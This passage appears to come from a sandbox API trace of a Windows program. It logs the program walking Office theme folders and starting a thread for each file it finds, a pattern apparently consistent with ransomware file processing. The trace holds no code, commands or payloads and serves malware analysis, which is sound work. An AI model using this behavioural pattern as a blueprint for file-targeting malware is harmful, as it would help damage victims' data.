ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0090.813] wcscmp (_String1="Pushpin.xml", _String2=".") returned 1 [0090.813] wcscmp (_String1="Pushpin.xml", _String2="..") returned 1 [0090.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce109a0 [0090.813] wcscpy (in: _Dest=0x1ce109a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.813] wcscat (in: _Dest=0x1ce109a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.813] wcscat (in: _Dest=0x1ce109a0, _Source="Pushpin.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" [0090.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce109a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb10 [0090.814] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e94200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19e94200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1 [0090.814] wcscmp (_String1="Slipstream.xml", _String2=".") returned 1 [0090.814] wcscmp (_String1="Slipstream.xml", _String2="..") returned 1 [0090.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce10d10 [0090.814] wcscpy (in: _Dest=0x1ce10d10, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.814] wcscat (in: _Dest=0x1ce10d10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.814] wcscat (in: _Dest=0x1ce10d10, _Source="Slipstream.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" [0090.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb14 [0090.814] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0090.814] wcscmp (_String1="Solstice.xml", _String2=".") returned 1 [0090.814] wcscmp (_String1="Solstice.xml", _String2="..") returned 1 [0090.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce10dc0 [0090.815] wcscpy (in: _Dest=0x1ce10dc0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.815] wcscat (in: _Dest=0x1ce10dc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.815] wcscat (in: _Dest=0x1ce10dc0, _Source="Solstice.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" [0090.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb18 [0090.815] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0090.815] wcscmp (_String1="Technic.xml", _String2=".") returned 1 [0090.815] wcscmp (_String1="Technic.xml", _String2="..") returned 1 [0090.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce10e70 [0090.815] wcscpy (in: _Dest=0x1ce10e70, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.815] wcscat (in: _Dest=0x1ce10e70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.815] wcscat (in: _Dest=0x1ce10e70, _Source="Technic.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" [0090.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb1c [0090.816] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0090.816] wcscmp (_String1="Thatch.xml", _String2=".") returned 1 [0090.816] wcscmp (_String1="Thatch.xml", _String2="..") returned 1 [0090.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce10f20 [0090.816] wcscpy (in: _Dest=0x1ce10f20, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.816] wcscat (in: _Dest=0x1ce10f20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.816] wcscat (in: _Dest=0x1ce10f20, _Source="Thatch.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" [0090.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb20 [0090.817] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0090.817] wcscmp (_String1="Trek.xml", _String2=".") returned 1 [0090.817] wcscmp (_String1="Trek.xml", _String2="..") returned 1 [0090.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad7a0 [0090.817] wcscpy (in: _Dest=0x1b7ad7a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.817] wcscat (in: _Dest=0x1b7ad7a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.817] wcscat (in: _Dest=0x1b7ad7a0, _Source="Trek.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" [0090.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad7a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb24 [0090.817] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0090.817] wcscmp (_String1="Urban.xml", _String2=".") returned 1 [0090.817] wcscmp (_String1="Urban.xml", _String2="..") returned 1 [0090.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7acf80 [0090.817] wcscpy (in: _Dest=0x1b7acf80, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.817] wcscat (in: _Dest=0x1b7acf80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.818] wcscat (in: _Dest=0x1b7acf80, _Source="Urban.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" [0090.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7acf80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb28 [0090.818] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0090.818] wcscmp (_String1="Verve.xml", _String2=".") returned 1 [0090.818] wcscmp (_String1="Verve.xml", _String2="..") returned 1 [0090.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7ad840 [0090.818] wcscpy (in: _Dest=0x1b7ad840, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.818] wcscat (in: _Dest=0x1b7ad840, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.818] wcscat (in: _Dest=0x1b7ad840, _Source="Verve.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" [0090.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb2c [0090.819] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0090.819] wcscmp (_String1="Waveform.xml", _String2=".") returned 1 [0090.819] wcscmp (_String1="Waveform.xml", _String2="..") returned 1 [0090.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce10fd0 [0090.819] wcscpy (in: _Dest=0x1ce10fd0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.819] wcscat (in: _Dest=0x1ce10fd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.819] wcscat (in: _Dest=0x1ce10fd0, _Source="Waveform.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" [0090.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb30 [0090.820] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0090.820] FindClose (in: hFindFile=0x1cd9d3d0 | out: hFindFile=0x1cd9d3d0) returned 1 [0090.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56080) returned 1 [0090.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bac0) returned 1 [0090.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bc70) returned 1 Thread: id = 358 os_tid = 0xec8 [0089.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad200 [0089.561] wcscpy (in: _Dest=0x1b7ad200, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0089.561] wcscat (in: _Dest=0x1b7ad200, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0089.561] wcscat (in: _Dest=0x1b7ad200, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*" [0089.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce562f0 [0089.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0089.563] wcscmp (_String1=".", _String2=".") returned 0 [0089.563] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.565] wcscmp (_String1="..", _String2=".") returned 1 [0089.565] wcscmp (_String1="..", _String2="..") returned 0 [0089.565] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.eftx", cAlternateFileName="ADJACE~1.EFT")) returned 1 [0089.565] wcscmp (_String1="Adjacency.eftx", _String2=".") returned 1 [0089.565] wcscmp (_String1="Adjacency.eftx", _String2="..") returned 1 [0089.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1ce10b00 [0089.565] wcscpy (in: _Dest=0x1ce10b00, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0089.565] wcscat (in: _Dest=0x1ce10b00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0089.565] wcscat (in: _Dest=0x1ce10b00, _Source="Adjacency.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" [0097.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa18 [0097.337] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c2c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x655c2c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6ae5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.eftx", cAlternateFileName="ANGLES~1.EFT")) returned 1 [0097.337] wcscmp (_String1="Angles.eftx", _String2=".") returned 1 [0097.337] wcscmp (_String1="Angles.eftx", _String2="..") returned 1 [0097.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd64420 [0097.337] wcscpy (in: _Dest=0x1cd64420, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.337] wcscat (in: _Dest=0x1cd64420, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.337] wcscat (in: _Dest=0x1cd64420, _Source="Angles.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" [0097.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554 [0097.338] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x354c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.eftx", cAlternateFileName="APEX~1.EFT")) returned 1 [0097.338] wcscmp (_String1="Apex.eftx", _String2=".") returned 1 [0097.338] wcscmp (_String1="Apex.eftx", _String2="..") returned 1 [0097.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd644d0 [0097.338] wcscpy (in: _Dest=0x1cd644d0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.338] wcscat (in: _Dest=0x1cd644d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.338] wcscat (in: _Dest=0x1cd644d0, _Source="Apex.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" [0097.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd644d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0097.339] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f368c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f368c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbf81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.eftx", cAlternateFileName="APOTHE~1.EFT")) returned 1 [0097.339] wcscmp (_String1="Apothecary.eftx", _String2=".") returned 1 [0097.339] wcscmp (_String1="Apothecary.eftx", _String2="..") returned 1 [0097.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd64580 [0097.339] wcscpy (in: _Dest=0x1cd64580, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.339] wcscat (in: _Dest=0x1cd64580, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.339] wcscat (in: _Dest=0x1cd64580, _Source="Apothecary.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" [0097.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0097.340] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39bc200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x39bc200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x581a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.eftx", cAlternateFileName="ASPECT~1.EFT")) returned 1 [0097.340] wcscmp (_String1="Aspect.eftx", _String2=".") returned 1 [0097.340] wcscmp (_String1="Aspect.eftx", _String2="..") returned 1 [0097.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd64630 [0097.340] wcscpy (in: _Dest=0x1cd64630, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program 